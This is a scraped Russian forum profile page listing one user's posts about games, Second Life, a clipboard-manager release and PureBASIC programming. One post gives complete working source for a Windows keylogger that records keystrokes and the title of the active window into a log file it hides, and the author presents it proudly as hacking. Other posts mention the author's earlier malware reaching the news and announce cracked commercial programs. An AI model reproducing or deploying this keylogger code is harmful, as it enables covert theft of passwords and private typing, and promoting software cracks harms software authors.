Здравствуйте, гость ( Вход | Регистрация )
Дата поста: | В теме: | За сообщение: | Спасибо сказали: | ||
---|---|---|---|---|---|
08 Mar 2012, 19:07 | У вас нет прав на просмотр этой темы | У вас нет прав на просмотр этого сообщения |
Sar, Mugaisa, Vade Parvis, Kastore, Airat, Doctor Tea | ||
08 Mar 2012, 14:36 | У вас нет прав на просмотр этой темы | У вас нет прав на просмотр этого сообщения |
Efrit | ||
08 Mar 2012, 14:24 | У вас нет прав на просмотр этой темы | У вас нет прав на просмотр этого сообщения |
Doctor Tea | ||
08 Mar 2012, 13:59 | У вас нет прав на просмотр этой темы | У вас нет прав на просмотр этого сообщения |
Vade Parvis, Doctor Tea | ||
08 Mar 2012, 13:22 | У вас нет прав на просмотр этой темы | У вас нет прав на просмотр этого сообщения |
Mugaisa, Vade Parvis, Doctor Tea | ||
05 Mar 2012, 17:38 |
Разные Картинки фото из сети, которые вам понравились |
Генитально. >_> Так вот за что я люблю и никогда не перестану обожать Second Life: за бескрайнюю шизофазичность происходящего. Волшебные пони в туалетной комнате борделя зоофилов - идиллия. А ведь где-то неподалеку бегают перевозбужденный киберпес и крылатый furry-волк с вороненой шерстью... И потом еще могут всей компанией телепортироваться в FPS-симулятор на тему зомби-апокалипсиса. Никто слова не скажет. |
Nirael, Vade Parvis | ||
05 Mar 2012, 17:32 |
Разные Картинки фото из сети, которые вам понравились |
Vade Parvis | |||
25 Feb 2012, 19:56 |
Общеигровая тема Тема для обсуждения самых разных игр. |
Забавная статья попалась: http://kanobu.ru/blog/id310775/. Автора подводят мат. часть и знание русского языка, но в целом - первая адекватная подборка за долгие годы. Я аж откомментировать хотела, но, увы, символический лимит таки не позволил (~2900 против максимума в 1k). |
Vade Parvis | ||
22 Feb 2012, 15:51 |
Демотиваторы картинки на злобу дня |
Sar, Flashback, Nirael, Vade Parvis | |||
20 Feb 2012, 20:32 |
Творчество форумчан Проза, стихи, музыка, живопись и т.д. |
Не лучше ли о снах писать там? Не думаю, там требуется более-менее документальное описание, а вовсе не творчество "по мотивам". И да: там я тоже иногда пишу. |
tolich | ||
20 Feb 2012, 18:42 |
Творчество форумчан Проза, стихи, музыка, живопись и т.д. |
[I.I.I: Gemini]. Перенесено для пущего удобства индексации, но все же... |
Mugaisa | ||
01 Aug 2011, 10:44 |
Во что играете и что недавно прошли? |
Все никак не нарадуюсь на "новый" Tactics Ogre: |
Mlegion | ||
14 Jul 2011, 11:20 |
Soft Софт Soft На все случаи жизни... :-) |
Ghost Mouse Auto Clicker v3.3 - таки выломала. Принимайте. ...спустя пару часов... Да, Fontonizer также не ушел обиженным. Сегодня вообще удачный день. |
Mugaisa | ||
15 Jun 2011, 19:59 |
Flow: God is dead мой новый WIP проект. |
Vade Parvis | |||
13 Jun 2011, 20:39 |
Flow: God is dead мой новый WIP проект. |
New version uploaded: +Pretty new eyes: Цитата (что-то мне подсказывает что я опоздал) Почти нет: я уже принимаю идеи ко второй части, хотя еще и близко не определилась со сроками реализации запланированного для первой. |
Vade Parvis | ||
07 May 2011, 14:04 |
Flow: God is dead мой новый WIP проект. |
Цитата אלו פלטפורמות וסולמות סולמות הם הממשמשת ובאה. Цитата жду ридми на иврите ОК: непременно запилим к релизу. |
Flashback | ||
12 Apr 2011, 12:18 |
Прямое взаимодействие с выходным звуковым каналом такое возможно? |
...И тот старше тебя... |
gamecreator | ||
07 Apr 2011, 08:58 |
Прямое взаимодействие с выходным звуковым каналом такое возможно? |
Цитата было бы супер Так приступай, если супер. Кто мешает-то ? Цитата он же не знает бейсик Пусть учится видеть алгоритм, а не язык – тогда, глядишь, может еще и достигнет чего. |
tolich | ||
10 Jan 2011, 12:07 |
Dark side of Programming PureBASIC |
Night Hunter, Vade Parvis, Etoprostoya, SerAlexandr, Foster | |||
08 Jan 2011, 16:24 |
Dark side of Programming PureBASIC |
Цитата и что, работает? Не должно ? Цитата Что то не понял, Guevara-chan сделала самый настоящий вирус и об нем писали в новостях? Да вроде того, только им на анализ попалась сбойная версия: именно ее-то и определи на радостях как червя невиданной аж с конца 90х разрушительной мощи. Мои работы, к слову, удостаивались обзоров и ранее – этот случай просто самый громкий, он как-то сумел выскользнуть за пределы спец. сайтов. Цитата легче поставить хук на нажатие клавиши Ну, во-первых ни разу не проще, а вторых – ты про антивирусы слышал когда-нибудь ? Цитата Не надо обзывать кулхацкерство хакерством. Конкретнее, пожалуйста: труЪ-хакеры по-твоему не имеют права размениваться на написание банального spyware ? |
packa | ||
07 Jan 2011, 14:38 |
Dark side of Programming PureBASIC |
Очередная веха хакерской карьеры - таки напилила свой первый keylogger: Код Procedure.s GetWinTitle(*hWnd) Define TitleSize = GetWindowTextLength_(*hwnd), Result.s = Space(TitleSize) GetWindowText_(*hWnd, @Result, TitleSize+1) : ProcedureReturn Result EndProcedure EnableExplicit #FlushLimit = 10 : #TimeStamp = "%mm/%dd/%yyyy, %hh:%ss" ; ------------------------ Structure KeyMap : Map.a[256] : EndStructure Define *MyThread = GetCurrentThreadId_(), Logfile.s = Trim(ProgramParameter()) If LogFile = "" Or OpenFile(0,LogFile)=#False:LogFile=GetPathPart(ProgramFilename())+"\Mylog.txt":OpenFile(0,LogFile):EndIf SetFileAttributes(Logfile, #PB_FileSystem_Hidden | #PB_FileSystem_System) WriteStringFormat(0, #PB_Unicode) : FileSeek(0, Lof(0)) ; Продолжаем работу с логом. If Lof(0) > SizeOf(Character) : WriteStringN(0, #CRLF$, #PB_Unicode) : EndIf; Переносы для удобства. WriteString(0, FormatDate("==>NOW: " + #TimeStamp + " - new session begun.", Date()), #PB_Unicode) Define Bytes, Title.s, NewTitle.s, I, Key.c, Keys.KeyMap ; Переменные цикла. OpenWindow(0,0,0,0,0,"",#PB_Window_Invisible) : AddWindowTimer(0, 0, 10000); Таймер до сброса буфера. ; ------------------------ Repeat : Delay(1) ; Forever loop. For I = 4 To #MAXBYTE ; Проверяем все клавиши. If GetAsyncKeyState_(I) = -32767 ; Если клавиша отжата.... Define *Win = GetForegroundWindow_() ; Получаем активное окно. Define *Thread = GetWindowThreadProcessId_(*Win, 0); Получаем поток активного окна. Define Lay = GetKeyboardLayout_(*Thread); Клавиатурная раскладка активного окна. AttachThreadInput_(*MyThread, *Thread, #True); Объединение входных потоков. GetKeyboardState_(@Keys\Map) ; Получаем состояние клавиатуры. NewTitle = GetWinTitle(*Win) : If NewTitle <> Title : Title = NewTitle : WriteStringN(0, #CRLF$+"=>["+Title+"]<=", #PB_Unicode) : EndIf If ToUnicodeEx_(I, MapVirtualKey_(I, 0), @Keys\Map, @Key, SizeOf(Key), #Null, Lay) > 0 : WriteCharacter(0, Key); Пишем символ. EndIf : EndIf Next I : If WindowEvent() = #PB_Event_Timer : FlushFileBuffers(0) : EndIf; Сбрасываем буфер. ForEver |
gamecreator | ||
29 Dec 2010, 16:07 |
Slippery Clip (менеджер буфера обмена) |
; *-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-* Название: Slippery Clip Версия: v1.21 (Release) Распространение: FreeWare OpenSource Среда разработки: PureBASIC v5.30 ; *-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-* Только факты: [*] Slippery Clip представляет собой компактную и простую в обращении утилиту для расширения функционала буфера обмена. [*] Помимо опциональной иконки на панели задач, окно программы можно вернуть на экран комбинацией Ctrl+Shift+T. [*] Двойной по элементу списка помещает его в буфер обмена. Такой элемент всегда отмечается стрелкой (->). [*] Удаление активного элемента выгружает его из буфера обмена, оставляя тот пустым. [*] Щелчок правой кнопкой по списку выдает контекстное меню выделенного элемента. [*] Для назначения сохраненному элементу горячей клавиши используйте комбинации Ctrl+[1-9]. Ассоциированная клавиша отобразится рядом с идентификатором типа. [*] Использование комбинаций Ctrl+[1-9] вне окна программы приводит к помещению ассоциированного с ними элемента в буфер обмена и дальнейшей вставке в активное приложение. [*] Использование клавиш 1-9 в окне программы приводит к помещение в буфер обмена ассоциированного с ними элемента. [*] Помимо вышеперечисленного, Slippery Clip также поддерживает следующие клавиатурные сокращения: Enter/Ctrl+C/Ctrl+Ins для перевода текущего элемента в буфер, Ctrl+O для показа настроек, Ctrl+F для быстрого перехода к строке запросов и F3/Shift+F3 для поиска по заданным критериям вхождений ниже/выше текущего выделения соответственно. Также возможно использование стрелок, в сочетании с Control'ом перемещающих элемент. [*] Клавиатурные комбинации Ctrl+P и Ctrl+V позволяют оперативно ознакомиться с содержимым подсвеченного нода, открывая для демонстрации общепрограмное или индивидуальное окна просмотра соответственно. [*] Помимо прочего, предусмотрен доступ к некоторым функциям программы без перехода в окно. Так, Shift+Ctrl+[1-9] присвоит текущему элементу в буфере горячую клавишу, Shift+Ctrl+Q инвертирует его раскладку, а Shift+Ctrl+S предложит диалог сохранения. Также, допустимо использовать пробел для вывода списка информации о выбранном узле и Shift+ESC для досрочного завершения поисковых процедур. [*] В окне просмотра данных, клавиши '+' и '-' могут использоваться для быстрого изменения размеров. [*] Программа выбирает данные из буфера обмена по следующей цепочке приоритетов: RTF>META>BMP>HTML>STR. [*] Размер метафайла считается по методу ACDSee, т.е. исходя из разностей границ (rclBounds). [*] По умолчанию, поисковый интерфейс принимает [text/~case/sel] в качестве заголовка, ища запрос по текстовым данным без учета регистра и выделяя результаты в окнах просмотра. [*] Для облегчения работы c символами вне стандартных наборов, поисковый механизм Slippery Clip предусматривает систему репарсинга. Спец. коды всегда начинаются с ` и поддерживают следующие комбинации: <*> `` = ` (самоизоляция символа последовательности). <*> `~ = Alt+010 / LF (символ подачи строки). <*> `| = Alt+013 / CR (символ возврата каретки). <*> `#%hex%%hex% - вставка символа по ACII-коду (так, `#09 эквивалентно знаку табуляции). <*> `$%hex%%hex%%hex%%hex% - вставка символа по Unicode-коду (так, `#$0046 эквивалентно букве F). <*> Любые прочие последовательности, включая попытки вставить нулевой символ (`#00/`$0000), интерпретируются в своем изначальном представлении. [*] На данный момент, поисковая система автоматически заменяет следующие символы кодами репарсера: Alt+009, Alt+010 и Alt+013. Official site: https://slipperyclip.codeplex.com/ P.S. С нетерпением жду ваших жалоб и предложений. |
Vade Parvis, packa | ||
27 Dec 2010, 11:05 |
Прямое взаимодействие с выходным звуковым каналом такое возможно? |
Цитата Мне надо вообще управлять уровнем звука Кто-то мешает ? |
FBX | ||
19 Dec 2010, 13:10 |
Общеигровая тема Тема для обсуждения самых разных игр. |
http://forum.romulation.net/index.php?topic=47578.0 - Что скажете, господа? |
packa | ||
14 Dec 2010, 12:34 |
4D %] |
http://www.guildwarsguru.com/forum/hyperdi...-t10347630.html Навеяло (english). Замечу только, что к теме раздела проблема отношения не имеет: это вопрос исключительно дизайна, но никак не программирования. Цитата Хех, кстати создай на gamedev.ru такую тему Прямо навскидку: http://www.gamedev.ru/flame/forum/?id=24644 Одна из реализаций: http://www.gamedev.ru/projects/forum/?id=54496 |
FBX, ChASnock | ||
Текстовая версия | Сейчас: 25 April 2024 - 16:24 |
Copyright by Алексей Крючков
Programming by Degtyarev Dmitry |